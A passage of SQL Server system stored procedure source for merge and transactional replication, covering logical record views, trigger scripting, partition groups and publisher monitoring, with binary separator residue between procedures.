    exec @retcode = sys.sp_MSgetviewcolumnlist @pubid = @arbitrary_pubid,  @source_objid = @source_objid, @column_list = @prefixed_column_list OUTPUT, @prefix_tablename = @prefix_tablename, @blob_cols_at_the_end = 0, @explicit_column_list = 1
    if @@error <> 0 or @retcode <> 0
        return 1
                
    exec @retcode = sys.sp_MSgetfiltercolumnlist @arbitrary_pubid, @partition_column_list OUTPUT, 
                                                    @source_objid, @unqual_sourcename, 1
    if @@error <> 0 or @retcode <> 0
        return 1

    -- Build the permission check string
    select @permission = '(HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE'')=1) '

    declare pubid CURSOR LOCAL FAST_FORWARD FOR 
    select pubid from dbo.sysmergearticles where nickname = @art_nick
    FOR READ ONLY
    open pubid
    fetch pubid into @pubid
    while (@@fetch_status <> -1)
    begin
    	select @permission = @permission + 'or {fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 '
    	fetch next from pubid into @pubid
    end
	        
    if not exists (select * from dbo.sysmergesubsetfilters 
                    where (filter_type & 2) = 2
                    and art_nickname = @art_nick)
    begin
        -- This is a top-level article. Generate a view that returns the same rowguid as the parent rowguid.
        -- The top-level article gets called from triggers and hence cannot include the subset_filter_clause
        -- that might contain dynamic filters that cannot be evalauated at trigger execution time.
        select @view_rule = 'select ' + @prefixed_column_list 
                + ', logical_record_parent_rowguid = ' + @unqual_sourcename + '.' + @rgcol 
                + ' from ' + @source_object + ' ' + @unqual_sourcename + ' where( ' + @permission + ' )'
                
        select @logical_record_deleted_view_rule = 'select ' + @partition_column_list
                + ', logical_record_parent_rowguid = ' + @unqual_sourcename + '.' + @rgcol 
                + ' from deleted ' + @unqual_sourcename
    end
    else
    begin
        -- This is not a top-level article. Its view joins this table with the parent's logical record view
        -- based on the join filter. Note that we can assume that we only have one parent article. In case where
        -- there are 2 separate join filters with the same parent (say in 2 publications), it is okay to get the 
        -- top 1 since the multiple join filters between a pair of articles should be same if they are a part of
        -- a logical record.
        select top 1 @join_clause = join_filterclause, @join_nick = join_nickname from dbo.sysmergesubsetfilters
            where art_nickname = @art_nick
            and (filter_type & 2) = 2
            
        declare @join_artid uniqueidentifier
        
        select top 1 @join_objid = objid, @join_artid = artid
        from dbo.sysmergearticles where nickname = @join_nick
        
        select top 1 @join_logical_record_view = 'dbo.' + quotename(object_name(logical_record_view)) 
        from dbo.sysmergepartitioninfo where artid = @join_artid
        and logical_record_parent_nickname is not null
        
        select @join_unqual_name = QUOTENAME(OBJECT_NAME(@join_objid))
        
        if @join_logical_record_view is NULL
            return 0
            
        select @join_rgcol = QUOTENAME(name) from sys.columns where object_id = @join_objid 
        and is_rowguidcol = 1
        
        if @join_rgcol is NULL
            return 0
        
        -- The view returns all columns of this table, and the logical_record_parent_rowguid from the parent's
        -- logical record view.
        select @view_rule = 'select ' + @prefixed_column_list 
                + ', logical_record_parent_rowguid = ' + @join_unqual_name + '.logical_record_parent_rowguid '
                + '    from ' + @source_object + ' ' + @unqual_sourcename + ', ' + @join_logical_record_view + ' ' 
                + @join_unqual_name + ' where (' + @join_clause + ') and (' + @permission + ')'
                
        select @logical_record_deleted_view_rule = 'select ' + @partition_column_list
                + ', logical_record_parent_rowguid = ' + @join_unqual_name + '.logical_record_parent_rowguid 
                from deleted ' + @unqual_sourcename + ', ' + @join_logical_record_view + ' ' 
                + @join_unqual_name + ' where (' + @join_clause + ')'
    end
    
    select @logical_record_view = 'MSmerge_view_logical_record_' + convert(nvarchar, @art_nick)
    if object_id(@logical_record_view) is not null
        exec('drop view ' + @logical_record_view)
    
    exec ('create view dbo.' + @logical_record_view + ' as ' + @view_rule)
    if @@error <> 0 return 1

	exec ('grant select on ' + @logical_record_view + ' to public')
	execute dbo.sp_MS_marksystemobject @logical_record_view
    if @@error <> 0 return 1
    
    declare @artid uniqueidentifier
    select top 1 @artid = artid from dbo.sysmergearticles where nickname = @art_nick
    update dbo.sysmergepartitioninfo set logical_record_view = object_id(@logical_record_view),
                                    logical_record_deleted_view_rule = @logical_record_deleted_view_rule
    where artid = @artid
    and logical_record_parent_nickname is not null
    
    return 0    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`>	<3M2-03 D8[h+0J ^8create procedure sys.sp_MSreplicationcompatlevel
@dbname             sysname,
@cmptlevel            float(8)
As
    declare        @is_distdb    smallint

    select @is_distdb = 0

    IF EXISTS (select * from msdb.sys.objects where name='MSdistributiondbs')
        begin
            IF EXISTS (SELECT * FROM msdb..MSdistributiondbs where name=@dbname)
                select @is_distdb = 1
        end
        
    /*
    ** Parameter check
    ** @dbname
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE
        name = @dbname collate database_default)
    BEGIN
        RAISERROR(15010, 16, -1, @dbname)
        RETURN(2)
    END

    select @dbname = QUOTENAME(@dbname)

    /*
    ** Parameter check. NOTE
    ** @cmptlevel
    */
    IF @cmptlevel<6.0
    BEGIN
        RAISERROR(20060,16,-1)
        RETURN(2)
    END

    /*
    ** If cmptlevel is lower than 7.0, special attention should be paid. 
    ** If current database is a distribution database or is involed in merge
    ** replication, then it can not be set to a level lower than 7.0.
    */
    
    create table #tmp (any_merge smallint NOT NULL)
    insert into #tmp exec ('select count(*) from ' + @dbname + '.sys.objects where name=' + '''sysmergesubscriptions''' )
    if (exists(select any_merge from #tmp where any_merge>0) OR @is_distdb = 1) 
                AND (@cmptlevel<7.0) 
        begin
            drop table #tmp
            return 1
        end
    else 
        begin
            drop table #tmp
            return 0
        end
0[
@ 1
8create procedure sys.sp_MSscript_sync_ins_trig (
    @objid          int,
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,
    @trigname     sysname,
    @procname     sysname,
    @proc_owner   sysname,
    @cftproc      sysname,
    @agent_id      int, 
    @identity_col sysname = NULL,
    @ts_col       sysname = NULL,
    @filter_clause nvarchar(4000),
    @primary_key_bitmap  varbinary(4000),
    @pubversion int = 1,
    @falter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @colname      sysname
                ,@cmd          nvarchar(4000)
                ,@ins_cmd      nvarchar(4000)
                ,@outvars      nvarchar(4000)
                ,@rc           int
                ,@qualname     nvarchar(517)
                ,@fisqueued       bit

    set nocount on
    --
    -- security check
    --
    exec @rc = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @rc <> 0
        return (1)
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    if (LOWER(@cftproc) = N'null')
    begin
        select @fisqueued =  0
                ,@cftproc = NULL
    end
    else 
        select @fisqueued =  1

    if @ts_col in ('null','NULL')
        select @ts_col = null

    if @identity_col in ('null','NULL')
        select @identity_col = null

    -- Create temp table
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

    -- 1st preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig1 @publisher, @publisher_db, @publication, @trigname, @objid, @procname, @filter_clause, 'ins', @fisqueued, @falter, @agent_id
                
    -- 2nd preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig2 @publisher, @publisher_db, @publication, @objid, 'ins',@agent_id, @fisqueued

    -- script single row handling
    exec @rc = sys.sp_MSscript_singlerow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
        @cftproc, @identity_col, @ts_col, 'ins', @primary_key_bitmap, @pubversion

    -- script multi-row handling
    exec @rc = sys.sp_MSscript_multirow_trigger @objid, @publisher, @publisher_db, @publication, @procname, @proc_owner, 
        @cftproc, @identity_col, @ts_col, 'ins', @primary_key_bitmap, @pubversion

    -- script end of trigger
    exec sys.sp_MSscript_endtrig 

    -- send fragments to client
    select procedure_text from #proctext order by c1 asc
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
N42"Q0J
@ 	8
create procedure sys.sp_MScreatedummygeneration @pubid uniqueidentifier, @maxgen_whenadded bigint
as
    declare @retcode    int
    declare @gen        bigint
    declare @tablenick    int
    declare @nickbin    varbinary(255)
    declare @replnick    binary(6)

    /*
    ** Check to see if current publication has permission
    */
    if ({ fn ISPALUSER(@pubid)} <> 1)
    begin    
        RAISERROR (14126, 11, -1)
        return (1)
    end

    -- get the makegeneration applock before calling makegeneration
    declare @lock int
    -- if there exists any open generations below the maxgen_whenadded then call make generation
    -- with flag @gencheck set to 3 to indicate that all existing open generations lower than 
    -- the highest closed generation should either be closed or deleted
    if exists (select * from dbo.MSmerge_genhistory where generation <= @maxgen_whenadded and genstatus in (0, 4) )
    begin
        exec @retcode = sys.sp_MSgetmakegenerationapplock @head_of_queue = @lock OUTPUT
        -- error out if we could not get the makegeneration applock
        if @@error <> 0 or @retcode < 0
            return 1
        
        -- if there exists any open generations at or below the maxgen_whenadded then call make generation
        if exists (select * from dbo.MSmerge_genhistory where generation <= @maxgen_whenadded and genstatus in (0, 4))
        begin
            exec @retcode = sys.sp_MSmakegeneration @gencheck = 3
            if @@error <> 0 or @retcode <> 0
            begin
                exec sys.sp_MSreleasemakegenerationapplock
                return 1
            end
        end
        exec sys.sp_MSreleasemakegenerationapplock
    end

    -- insert a dummy closed generation so that the watermark after the download is set higher than maxgen_whenadded.
    if not exists (select 1 from dbo.MSmerge_genhistory where generation > @maxgen_whenadded)
    begin
        exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
        if @retcode<>0 or @@error<>0 
            return 1

        -- add a guard byte
        set @nickbin= @replnick + 0xFF
        
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate) 
        values (newid(), 1, 0, @nickbin, getdate())
        if @@error<>0
            return 1
    end
    return 0
                        
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`=><^N0Nd 8

-- Requires Certificate signature for catalog access
create procedure sys.sp_MSdisable_use_partition_groups (@pubid uniqueidentifier) as
begin
    declare @pubname sysname, @artid uniqueidentifier, @partition_id_eval_proc nvarchar(264), @partition_view sysname,
            @membership_eval_proc_name sysname, @expand_proc sysname, @logical_record_view nvarchar(270), @retcode int,
            @quoted_name nvarchar(258)

    select @pubname = name, @partition_id_eval_proc = '[dbo].' + quotename(partition_id_eval_proc)
    from dbo.sysmergepublications where pubid = @pubid
    
    -- create the ArticleChangeMembershipEvaluation proc for each article in this publication.
    declare articles_in_publication CURSOR LOCAL FAST_FORWARD FOR 
    select artid, object_name(partition_view_id), membership_eval_proc_name, expand_proc, 
            object_name(logical_record_view)
    from dbo.sysmergepartitioninfo
    where pubid = @pubid
    FOR READ ONLY
    
    open articles_in_publication
    fetch next from articles_in_publication into @artid, @partition_view, @membership_eval_proc_name,
        @expand_proc, @logical_record_view

    while (@@fetch_status <> -1)
    begin
    
        if @partition_view is not null and object_id(@partition_view) is not null
        begin
            set @quoted_name= quotename(@partition_view)
            exec ('drop view ' + @quoted_name)
            if @@error <> 0
                return 1
        end
            
        if @membership_eval_proc_name is not null and object_id(@membership_eval_proc_name) is not null
        begin
            set @quoted_name= quotename(@membership_eval_proc_name)
            exec ('drop procedure ' + @quoted_name)
            if @@error <> 0
                return 1
        end
        
        if @expand_proc is not null and object_id(@expand_proc) is not null
        begin
            set @quoted_name= quotename(@expand_proc)
            exec ('drop procedure ' + @quoted_name)
            if @@error <> 0
                return 1
        end
            
        if @logical_record_view is not null and object_id(@logical_record_view) is not null
			and not exists (select * from sysmergepartitioninfo where logical_record_view = @logical_record_view
				and pubid <> @pubid)
        begin
            set @quoted_name= quotename(@logical_record_view)
            exec ('drop view ' + @quoted_name)
            if @@error <> 0
                return 1
        end
            
        update dbo.sysmergepartitioninfo 
            set partition_view_id = NULL,
            partition_deleted_view_rule = NULL,
            partition_inserted_view_rule = NULL,
            membership_eval_proc_name = NULL,
            column_list = NULL,
            column_list_blob = NULL,
            expand_proc = NULL,
            logical_record_parent_nickname = NULL,
            logical_record_view = NULL,
            logical_record_deleted_view_rule = NULL,
            logical_record_level_conflict_detection = 0,
            logical_record_level_conflict_resolution = 0
        where artid = @artid and pubid = @pubid
            
        fetch next from articles_in_publication into @artid, @partition_view, @membership_eval_proc_name,
            @expand_proc, @logical_record_view
    end

    close articles_in_publication
    deallocate articles_in_publication
        
    -- we should not drop the parition_id_eval_proc here 
    -- It should be dropped when the publication gets dropped. Should not drop it here since 
    -- we may want to use filtering even though we don't use parition ids.
    /*
    if @partition_id_eval_proc is not null and object_id(@partition_id_eval_proc) is not null
    begin
        exec ('drop procedure ' + @partition_id_eval_proc)
        if @@error <> 0
            return 1
    end
    
    update dbo.sysmergepublications set partition_id_eval_proc = NULL
    where pubid = @pubid
    */

    exec @retcode = sp_MSregenerate_mergetriggers @pubname
    if @@ERROR<>0 OR @retcode<>0 
    begin
        return (1)
    end    
    
    update dbo.sysmergepublications set use_partition_groups = 0
    where pubid = @pubid and use_partition_groups = -1
    
    return 0

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<$
-N%r06Q@ 8create procedure sys.sp_replmonitorhelppublisher 
(
    @publisher sysname = NULL  -- pubisher - null means all publisher
    ,@refreshpolicy tinyint = 0 -- 0 = default cache refresh, 1 = optimistic force refresh, 2 = non-optimistic force refresh
)
as
begin
    set nocount on
    declare @retcode int
                ,@distdb sysname
                ,@cmd nvarchar(4000)
    --
    -- security check.
    -- User must be member of 'replmonitor' role in some distribution database at this distributor.
    --
    exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess
    if @retcode != 0 or @@error != 0
        return (1)
    --
    -- create temp table for results
    --
    create table #tmp_replication_publisherdata  
    (
        publisher sysname
        ,distribution_db sysname
        ,status int
        ,warning int	-- OR among all subscriptions 
        ,publicationcount int
        ,returnstamp nvarchar(20) null
    )
    
    if @@error != 0
    begin
        raiserror(20507, 16, 1, '#tmp_replication_publisherdata', 'tempdb')
        return 1
    end
    --
    -- if publisher is not specified then enumerate through each 
    -- distribution database and collect the information
    -- if publisher is specified then execute in the specific dist db
    --
    if (@publisher is null)
    begin
        --
        -- publisher was not specified
        -- ennumerate the distribution databases
        --
        declare #hcdistdb cursor local fast_forward for
            select name from msdb..MSdistributiondbs
        open #hcdistdb
        fetch next from #hcdistdb into @distdb
        while (@@fetch_status != -1)
        begin
            --
            -- get data from the current distribution db
            --
            select @cmd = quotename(@distdb) + '.sys.sp_replmonitorhelppublisherhelper'
            exec @retcode = @cmd @publisher = @publisher, @refreshpolicy = @refreshpolicy
            if @@error != 0 or @retcode != 0
                return 1
            --
            -- get next distribution db
            --
            fetch next from #hcdistdb into @distdb
        end -- while (@@fetch_status != -1)
        close #hcdistdb
        deallocate #hcdistdb
    end
    else
    begin
        --
        -- publisher was specified
        -- validate and get the distribution database
        --
        select @distdb = distribution_db 
        from msdb..MSdistpublishers 
        where upper(name) = upper(@publisher)
        if (@distdb is null)
        begin
            raiserror (25002, 16, -1)
            return (1)
        end
        --
        -- get data
        --
        select @cmd = quotename(@distdb) + '.sys.sp_replmonitorhelppublisherhelper'
        exec @retcode = @cmd @publisher = @publisher, @refreshpolicy = @refreshpolicy
        if @@error != 0 or @retcode != 0
            return 1
    end
    --
    -- return the resultset
    --
    select publisher
        ,distribution_db
        ,status
        ,warning
        ,publicationcount
        ,returnstamp
    from #tmp_replication_publisherdata
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<[-N)R0bB@ 8

create procedure sys.sp_MSvalidate_wellpartitioned_articles @publication sysname as
begin
    declare @pubid uniqueidentifier, @use_partition_groups smallint, @allow_subscriber_initiated_snapshot bit
    
    select @pubid = pubid, @use_partition_groups = use_partition_groups,
        @allow_subscriber_initiated_snapshot = allow_subscriber_initiated_snapshot
    from dbo.sysmergepublications 
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    if @pubid is null
        return 0
        
    /*
    ** Check to see if current publication has permission
    */
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return 1
    end

    -- if none of the articles in this publication claim to be well-partitioned, we don't
    -- need to do any further checks.
    if not exists (select * from dbo.sysmergepartitioninfo smpi1 inner join dbo.sysmergepartitioninfo smpi2
                    on smpi1.artid = smpi2.artid
                    where smpi1.pubid = @pubid 
                    and (smpi2.partition_options = 2 or smpi2.partition_options = 3))
        return 0
        
    -- if we are here, that means there is at least one article that has been declared to be
    -- well-partitioned. make sure we are using partition groups functionality.
    if @use_partition_groups <= 0
    begin
        raiserror(21578, 16, -1, @publication)
        return 1
    end

    if exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid and partition_options = 3)
    begin
    
        -- Automatically turn on allow_subscriber_initiated_snapshot property for subscription based filtering.
        /* commenting since this is not really necessary. The users can do initdynamic
        if @allow_subscriber_initiated_snapshot != 1
        begin
            -- based on usability feeback, we should set the allow_subscriber_initiated_snapshot
            -- option to 1 rather than raise an error.
            update dbo.sysmergepublications set allow_subscriber_initiated_snapshot = 1
                where pubid = @pubid
        end*/
    
        if exists (select partition_id, count(*) from dbo.sysmergesubscriptions 
            where pubid = @pubid and partition_id is not null group by  partition_id having count(*) > 1)
        begin
            raiserror(22525, 16, -1, @publication)
            return 1
        end    
    end
    
    -- get each article that has been declared to be well-partitioned, and run some checks on each.
    declare well_partitioned_articles cursor local fast_forward for 
    select sma.nickname, sma.name, smpi.partition_options, sma.artid
    from dbo.sysmergearticles sma
    join dbo.sysmergepartitioninfo smpi
    on sma.artid = smpi.artid
    and sma.pubid = @pubid
    and (smpi.partition_options = 2 or smpi.partition_options = 3)
    for read only
    
    declare @nickname int, @article_name sysname, @retcode int, @partition_options tinyint,
            @artid uniqueidentifier
    
    set @retcode = 0
    
    open well_partitioned_articles
    
    fetch next from well_partitioned_articles into @nickname, @article_name, @partition_options, @artid
    while @@fetch_status <> -1
    begin
        
        -- check that this article has the same filtering type in all publications and subscriptions.
        if exists (select * from dbo.sysmergepartitioninfo smpi1 inner join dbo.sysmergepartitioninfo smpi2
                    on smpi1.artid = smpi2.artid
                    where smpi1.artid = @artid
                    and smpi2.artid = @artid
                    and (smpi1.partition_options <> smpi2.partition_options))
        begin
            set @retcode = 1
            raiserror(22524, 16, -1, @article_name)
            goto EXIT_PROC
        end
        
        if @partition_options = 3 and (select count(*) from dbo.sysmergearticles where nickname = @nickname) > 1
        begin
            set @retcode = 1
            raiserror(22522, 16, -1, @article_name)
            goto EXIT_PROC
        end
        
        -- Has this article been published already in another publication ?
        -- the following checks apply to the well_partitioned_multiple_hops articles
        if @partition_options = 2 and (select count(*) from dbo.sysmergearticles 
                    where nickname = @nickname 
                    and sys.fn_MSmerge_islocalpubid(pubid) = 1) > 1
        begin
        
            -- a well-partitioned article should not be published in more than one publication.
            set @retcode = 1
            raiserror(21535, 16, -1, @article_name)
            goto EXIT_PROC
        end
        
        -- check recursively that all articles above this article in join filter hierarchy are well-partitioned articles.
        exec @retcode = sys.sp_MScheck_allparents_wellpartitioned @pubid, @nickname, @publication, @article_name
        if @@error <> 0 or @retcode <> 0
        begin
            set @retcode = 1
            goto EXIT_PROC
        end
        
        -- check that this article has at most one immediate parent in join filter hierarchy.
        if (select count(*) from dbo.sysmergesubsetfilters 
            where pubid = @pubid 
            and art_nickname = @nickname
            and (filter_type & 1) = 1) > 1
        begin
            set @retcode = 1
            raiserror(21579, 16, -1, @article_name, @publication)
            goto EXIT_PROC
        end
        
        -- check that this article does not have a subset filter AND is a child in a join filter hierarchy.
        if exists (select * from dbo.sysmergearticles 
                    where pubid = @pubid 
                    and nickname = @nickname
                    and len(subset_filterclause) > 0) 
            and exists (select * from dbo.sysmergesubsetfilters 
                    where pubid = @pubid 
                    and art_nickname = @nickname
                    and (filter_type & 1) = 1)
        begin
            set @retcode = 1
            raiserror(21580, 16, -1, @article_name, @publication)
            goto EXIT_PROC
        end
                    
        -- check that this article is a child in a join filter hierarchy only using join-unique-key.
        if exists (select * from dbo.sysmergesubsetfilters 
                    where pubid = @pubid 
                    and art_nickname = @nickname
                    and (filter_type & 1) = 1
                    and join_unique_key = 0)
        begin
            set @retcode = 1
            raiserror(21581, 16, -1, @article_name, @publication)
            goto EXIT_PROC
        end
        
        if exists (select * from dbo.sysmergesubsetfilters where (filter_type & 2) = 2 
            and (art_nickname = @nickname or join_nickname = @nickname))
        begin
            set @retcode = 1
            raiserror(22523, 16, -1, @article_name)
            goto EXIT_PROC
        end
            
        fetch next from well_partitioned_articles into @nickname, @article_name, @partition_options, @artid
    end
